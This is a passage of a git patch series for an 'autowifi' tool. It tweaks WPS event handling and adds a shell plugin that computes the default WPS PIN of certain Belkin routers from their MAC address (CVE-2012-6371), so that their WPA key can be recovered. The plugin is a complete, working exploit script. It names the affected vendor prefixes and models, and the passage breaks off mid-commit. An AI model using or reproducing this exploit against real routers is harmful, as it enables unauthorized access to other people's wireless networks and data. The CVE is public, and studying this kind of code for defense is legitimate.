TAILPID:*)IFS=" " set -- $line; TAILPID=$2;; + *"WPS-FAIL msg=10 config_error=18"*) bye 1 ;; # wrong pin + *"CTRL-EVENT-EAP-FAILURE EAP authentication failed"*) bye 1;; # rate limiting *CTRL-EVENT-DISCONNECTED*):;; - *CTRL-EVENT-CONNECTED*) - kill -HUP $TAILPID - exit 0;; + *CTRL-EVENT-CONNECTED*) bye 0;; #yay connected esac done ; then - echo "Connected!" + #echo "Connected!" sed -n 's/[ \t]*psk="\(.*\)"$/\1/p' $WPA_CONF return 0 else diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps new file mode 100755 index 00000000..93dd447a --- /dev/null +++ b/usr/lib/autowifi/plugins/11belkin_wps @@ -0,0 +1,48 @@ +#!/bin/sh +# thanks to http://ednolo.alumnos.upv.es/?p=1295G +# for the PoC code +# Calculates the default WPS pin of Belkin Routers and returns the WPA key +# +# Implementation of CVE-2012-6371 + +# works : +# Belkin_N+_XXXXXX 00:22:75:XX:XX:XX F5D8235-4 v1000 +# belkin.XXX 00:1C:DF:XX:XX:XX F5D8231-4 v5000 +# belkin.XXX 09:86:3B:XX:XX:XX F9K1104 v1000 + +cd $(dirname $(readlink -f $0)) +. ../lib/core +. ../lib/wps +parse_args $@ + +MAC=$(printf "%s" $2| sed 's/://g') +if [ ${#MAC} -ne 12 ] ;then + echo "MAC malformed" + exit 1 +fi +VENDOR_MAC=${MAC:0:6} +PRIVATE_MAC=${MAC:6:12} +if ! [ $VENDOR_MAC == "002275" -o $VENDOR_MAC == "001CDF" -o $VENDOR_MAC == "09863B" ] ;then + echo "VENDOR MAC $VENDOR_MAC not affected" + exit 1 +fi + +calc_belkin(){ + PRIVATE_MAC=${1} + + p=$((0x$PRIVATE_MAC % 10000000)) + wps_pin_checksum(){ + pin=$1 + accum=0 + while [ $pin -ne 0 ];do + accum=$((accum + (3 * (pin % 10)) )) + pin=$((pin/10)) + accum=$((accum + pin %10 )) + pin=$((pin/10)) + done + echo $(( (10 - accum % 10) % 10)) + } + printf "%07d%d" $p $(wps_pin_checksum $p) + return 0 +} +try_wps_pin $@ $(calc_belkin ${PRIVATE_MAC}) -- cgit v1.2.3 From 55d6402ac5307af7490a6c6d0607c2b20c68afa4 Mon Sep 17 00:00:00 2001 From: makefu Date: Sun, 26 May 2013 14:09:11 +0200 Subject: update parser --- usr/lib/autowifi/lib/co